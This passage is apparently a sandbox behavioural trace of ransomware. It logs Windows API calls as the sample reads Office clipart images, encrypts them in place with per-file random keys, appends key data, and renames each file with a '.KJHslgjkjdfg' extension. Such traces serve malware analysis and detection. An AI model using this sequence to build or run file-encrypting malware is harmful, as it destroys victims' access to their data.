[0209.030] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0209.030] CryptDestroyKey (hKey=0x9b6628) returned 1 [0209.030] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0209.031] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0209.031] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0209.031] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0209.031] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0209.031] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0209.031] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0209.031] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0209.031] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0209.031] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1a6b8, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1a6b8, lpOverlapped=0x0) returned 1 [0209.098] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1a6c0, dwBufLen=0x1a6c0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1a6c0) returned 1 [0209.099] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0209.099] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1a6c0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1a6c0, lpOverlapped=0x0) returned 1 [0209.100] CryptDestroyKey (hKey=0x9b6628) returned 1 [0209.100] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1a794, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0209.100] SetEndOfFile (hFile=0x130) returned 1 [0209.103] GetProcessHeap () returned 0x990000 [0209.103] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0209.103] GetProcessHeap () returned 0x990000 [0209.103] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0209.103] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02753U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02753u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02753U.BMP.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02753u.bmp.kjhslgjkjdfg")) returned 1 [0209.105] CloseHandle (hObject=0x130) returned 1 [0209.106] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe48deb00, ftCreationTime.dwHighDateTime=0x1bd4e53, ftLastAccessTime.dwLowDateTime=0x5a425410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe48deb00, ftLastWriteTime.dwHighDateTime=0x1bd4e53, nFileSizeHigh=0x0, nFileSizeLow=0x1a7d8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PH02754U.BMP", cAlternateFileName="")) returned 1 [0209.106] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02754U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02754u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0209.107] GetProcessHeap () returned 0x990000 [0209.107] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0209.107] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0209.107] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0209.107] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0209.168] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0209.168] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0209.168] GetProcessHeap () returned 0x990000 [0209.168] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0209.169] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0209.169] CryptDestroyKey (hKey=0x9b6628) returned 1 [0209.169] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0209.169] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0209.169] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0209.169] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0209.169] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0209.169] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0209.169] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0209.170] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0209.170] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0209.170] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1a7d8, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1a7d8, lpOverlapped=0x0) returned 1 [0209.194] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1a7e0, dwBufLen=0x1a7e0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1a7e0) returned 1 [0209.195] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0209.195] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1a7e0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1a7e0, lpOverlapped=0x0) returned 1 [0209.196] CryptDestroyKey (hKey=0x9b6628) returned 1 [0209.196] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1a8b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0209.196] SetEndOfFile (hFile=0x130) returned 1 [0209.198] GetProcessHeap () returned 0x990000 [0209.198] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0209.198] GetProcessHeap () returned 0x990000 [0209.198] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0209.198] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02754U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02754u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02754U.BMP.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02754u.bmp.kjhslgjkjdfg")) returned 1 [0209.207] CloseHandle (hObject=0x130) returned 1 [0209.207] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd50ea200, ftCreationTime.dwHighDateTime=0x1bd4e53, ftLastAccessTime.dwLowDateTime=0x6cebbbb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd50ea200, ftLastWriteTime.dwHighDateTime=0x1bd4e53, nFileSizeHigh=0x0, nFileSizeLow=0x1a7d8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PH02755U.BMP", cAlternateFileName="")) returned 1 [0209.207] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02755U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02755u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0209.209] GetProcessHeap () returned 0x990000 [0209.209] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0209.209] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0209.209] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0209.209] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0209.227] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0209.227] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0209.227] GetProcessHeap () returned 0x990000 [0209.227] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0209.227] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0209.227] CryptDestroyKey (hKey=0x9b6628) returned 1 [0209.227] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0209.227] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0209.227] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0209.227] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0209.227] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0209.227] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0209.228] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0209.228] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0209.228] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0209.228] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1a7d8, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1a7d8, lpOverlapped=0x0) returned 1 [0209.231] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1a7e0, dwBufLen=0x1a7e0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1a7e0) returned 1 [0209.232] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0209.232] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1a7e0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1a7e0, lpOverlapped=0x0) returned 1 [0209.233] CryptDestroyKey (hKey=0x9b6628) returned 1 [0209.233] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1a8b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0209.233] SetEndOfFile (hFile=0x130) returned 1 [0209.236] GetProcessHeap () returned 0x990000 [0209.236] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0209.236] GetProcessHeap () returned 0x990000 [0209.237] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0209.237] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02755U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02755u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02755U.BMP.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02755u.bmp.kjhslgjkjdfg")) returned 1 [0209.238] CloseHandle (hObject=0x130) returned 1 [0209.238] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb853a00, ftCreationTime.dwHighDateTime=0x1bd4e53, ftLastAccessTime.dwLowDateTime=0x6cebbbb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcb853a00, ftLastWriteTime.dwHighDateTime=0x1bd4e53, nFileSizeHigh=0x0, nFileSizeLow=0x30408, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PH02756U.BMP", cAlternateFileName="")) returned 1 [0209.239] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02756U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02756u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0209.241] GetProcessHeap () returned 0x990000 [0209.241] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0209.241] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0209.241] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0209.241] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0209.244] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0209.244] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0209.244] GetProcessHeap () returned 0x990000 [0209.244] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0209.244] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0209.244] CryptDestroyKey (hKey=0x9b6628) returned 1 [0209.244] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0209.244] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0209.244] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0209.244] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0209.244] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0209.244] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0209.244] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0209.245] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0209.245] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0209.245] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x30408, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x30408, lpOverlapped=0x0) returned 1 [0209.255] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x30410, dwBufLen=0x30410 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x30410) returned 1 [0209.258] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0209.258] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x30410, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x30410, lpOverlapped=0x0) returned 1 [0209.259] CryptDestroyKey (hKey=0x9b6628) returned 1 [0209.259] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x304e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0209.259] SetEndOfFile (hFile=0x130) returned 1 [0209.263] GetProcessHeap () returned 0x990000 [0209.263] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0209.263] GetProcessHeap () returned 0x990000 [0209.263] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0209.263] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02756U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02756u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02756U.BMP.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02756u.bmp.kjhslgjkjdfg")) returned 1 [0209.265] CloseHandle (hObject=0x130) returned 1 [0209.265] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbe684b00, ftCreationTime.dwHighDateTime=0x1bd4e53, ftLastAccessTime.dwLowDateTime=0x6cebbbb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbe684b00, ftLastWriteTime.dwHighDateTime=0x1bd4e53, nFileSizeHigh=0x0, nFileSizeLow=0x30408, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PH02757U.BMP", cAlternateFileName="")) returned 1 [0209.265] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02757U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02757u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0209.266] GetProcessHeap () returned 0x990000 [0209.266] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0209.266] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0209.267] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0209.267] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0209.272] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0209.272] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0209.272] GetProcessHeap () returned 0x990000 [0209.272] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0209.273] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0209.273] CryptDestroyKey (hKey=0x9b6628) returned 1 [0209.273] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0209.273] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0209.273] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0209.273] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0209.273] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: 